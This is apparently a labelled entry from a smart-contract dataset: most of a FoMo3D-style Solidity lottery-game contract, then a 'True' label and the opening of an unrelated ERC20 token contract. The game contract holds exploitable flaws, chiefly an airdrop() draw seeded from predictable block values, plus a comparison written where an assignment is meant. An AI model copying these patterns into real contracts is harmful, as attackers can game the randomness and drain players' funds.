airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000)
{
uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100; //48%
uint256 _com = (_pot / 50); //2%
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 3% out to community rewards
uint256 _p1 = _eth / 100; //1%
uint256 _com = _eth / 50; //2%
_com = _com.add(_p1); //1 + 2 = 3
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _com;
_com = 0;
}
// distribute share to affiliate
uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
// can only be ran once
require(activated_ == false, "FOMO Short already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library F3Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library F3DKeysCalcShort {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
True
|
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT130452' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT130452
// Name : ADZbuzz Hollywoodreporter.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
